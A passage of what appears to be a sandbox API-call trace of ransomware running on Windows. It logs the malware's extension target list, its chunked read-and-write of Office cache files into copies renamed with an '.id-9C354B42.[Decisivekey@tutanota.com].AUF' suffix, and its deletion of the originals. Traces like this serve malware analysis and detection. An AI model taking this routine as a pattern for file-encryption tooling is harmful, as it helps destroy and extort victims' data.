Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".zip") returned 4 [0213.802] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".rar") returned 4 [0213.802] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".bz2") returned 4 [0213.802] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.802] lstrlenW (lpString=".7z") returned 3 [0213.802] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".dbf") returned 4 [0213.802] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".1cd") returned 4 [0213.802] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".jpg") returned 4 [0213.802] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.802] lstrlenW (lpString=".doc") returned 4 [0213.802] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0213.802] lstrlenW (lpString=".docx") returned 5 [0213.802] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0213.802] lstrlenW (lpString=".pdf") returned 4 [0213.802] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString=".xls") returned 4 [0213.803] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString=".xlsx") returned 5 [0213.803] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0213.803] lstrlenW (lpString=".ppt") returned 4 [0213.803] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.803] lstrlenW (lpString=".zip") returned 4 [0213.803] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString=".rar") returned 4 [0213.803] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString=".bz2") returned 4 [0213.803] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0213.803] lstrlenW (lpString=".7z") returned 3 [0213.803] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0213.803] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.803] lstrlenW (lpString=".dbf") returned 4 [0213.803] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0213.803] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.803] lstrlenW (lpString=".1cd") returned 4 [0213.803] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0213.803] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0213.803] lstrlenW (lpString=".jpg") returned 4 [0213.803] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0213.803] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0213.803] lstrlenW (lpString="PidGenX.dll") returned 11 [0213.803] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.803] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1463568) returned 1 [0213.803] CloseHandle (hObject=0x210) returned 1 [0213.803] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0213.804] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0213.804] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.804] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0213.804] GetLastError () returned 0x0 [0213.804] ReadFile (in: hFile=0x210, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0214.148] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0214.302] ReadFile (in: hFile=0x210, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x65520, lpOverlapped=0x0) returned 1 [0214.488] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0214.496] ReadFile (in: hFile=0x210, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0214.496] WriteFile (in: hFile=0x184, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.496] SetEndOfFile (hFile=0x184) returned 1 [0214.497] CloseHandle (hObject=0x184) returned 1 [0214.497] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.497] SetEndOfFile (hFile=0x210) returned 1 [0214.500] CloseHandle (hObject=0x210) returned 1 [0214.500] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.500] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0214.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.500] lstrlenW (lpString=".doc") returned 4 [0214.500] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString=".docx") returned 5 [0214.500] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0214.500] lstrlenW (lpString=".pdf") returned 4 [0214.500] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString=".xls") returned 4 [0214.500] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString=".xlsx") returned 5 [0214.500] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0214.500] lstrlenW (lpString=".ppt") returned 4 [0214.500] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.500] lstrlenW (lpString=".zip") returned 4 [0214.500] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString=".rar") returned 4 [0214.500] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.500] lstrlenW (lpString=".bz2") returned 4 [0214.500] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString=".7z") returned 3 [0214.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".dbf") returned 4 [0214.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".1cd") returned 4 [0214.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".jpg") returned 4 [0214.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".doc") returned 4 [0214.501] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString=".docx") returned 5 [0214.501] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0214.501] lstrlenW (lpString=".pdf") returned 4 [0214.501] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString=".xls") returned 4 [0214.501] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString=".xlsx") returned 5 [0214.501] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0214.501] lstrlenW (lpString=".ppt") returned 4 [0214.501] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".zip") returned 4 [0214.501] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString=".rar") returned 4 [0214.501] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.501] lstrlenW (lpString=".bz2") returned 4 [0214.501] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString=".7z") returned 3 [0214.501] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".dbf") returned 4 [0214.501] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".1cd") returned 4 [0214.501] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.501] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.501] lstrlenW (lpString=".jpg") returned 4 [0214.501] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.501] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0214.501] lstrlenW (lpString="PidGenX.dll") returned 11 [0214.502] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.560] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1463568) returned 1 [0214.560] CloseHandle (hObject=0x214) returned 1 [0214.560] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0214.560] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.561] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.561] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0214.561] GetLastError () returned 0x0 [0214.561] ReadFile (in: hFile=0x214, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0214.618] WriteFile (in: hFile=0x168, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0214.755] ReadFile (in: hFile=0x214, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x65520, lpOverlapped=0x0) returned 1 [0214.869] WriteFile (in: hFile=0x168, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0214.920] ReadFile (in: hFile=0x214, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0214.920] WriteFile (in: hFile=0x168, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.920] SetEndOfFile (hFile=0x168) returned 1 [0214.920] CloseHandle (hObject=0x168) returned 1 [0214.920] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0214.920] SetEndOfFile (hFile=0x214) returned 1 [0214.923] CloseHandle (hObject=0x214) returned 1 [0214.924] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.924] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0214.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.924] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.924] lstrlenW (lpString=".doc") returned 4 [0214.924] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.924] lstrlenW (lpString=".docx") returned 5 [0214.925] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0214.925] lstrlenW (lpString=".pdf") returned 4 [0214.925] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".xls") returned 4 [0214.925] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".xlsx") returned 5 [0214.925] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0214.925] lstrlenW (lpString=".ppt") returned 4 [0214.925] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString=".zip") returned 4 [0214.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".rar") returned 4 [0214.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".bz2") returned 4 [0214.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.925] lstrlenW (lpString=".7z") returned 3 [0214.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString=".dbf") returned 4 [0214.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString=".1cd") returned 4 [0214.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString=".jpg") returned 4 [0214.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.925] lstrlenW (lpString=".doc") returned 4 [0214.925] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".docx") returned 5 [0214.925] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0214.925] lstrlenW (lpString=".pdf") returned 4 [0214.925] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0214.925] lstrlenW (lpString=".xls") returned 4 [0214.926] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0214.926] lstrlenW (lpString=".xlsx") returned 5 [0214.926] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0214.926] lstrlenW (lpString=".ppt") returned 4 [0214.926] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0214.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.926] lstrlenW (lpString=".zip") returned 4 [0214.926] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0214.926] lstrlenW (lpString=".rar") returned 4 [0214.926] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0214.926] lstrlenW (lpString=".bz2") returned 4 [0214.926] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.926] lstrlenW (lpString=".7z") returned 3 [0214.926] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.926] lstrlenW (lpString=".dbf") returned 4 [0214.926] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0214.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.926] lstrlenW (lpString=".1cd") returned 4 [0214.926] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0214.926] lstrlenW (lpString=".jpg") returned 4 [0214.926] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0214.926] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0214.926] lstrlenW (lpString="Office32WW.msi") returned 14 [0214.926] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.927] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1992192) returned 1 [0214.927] CloseHandle (hObject=0x214) returned 1 [0214.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0214.927] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.927] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.927] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.927] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0214.927] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.927] ReadFile (in: hFile=0x214, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.971] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.971] ReadFile (in: hFile=0x214, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.990] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.990] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0214.990] ReadFile (in: hFile=0x214, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 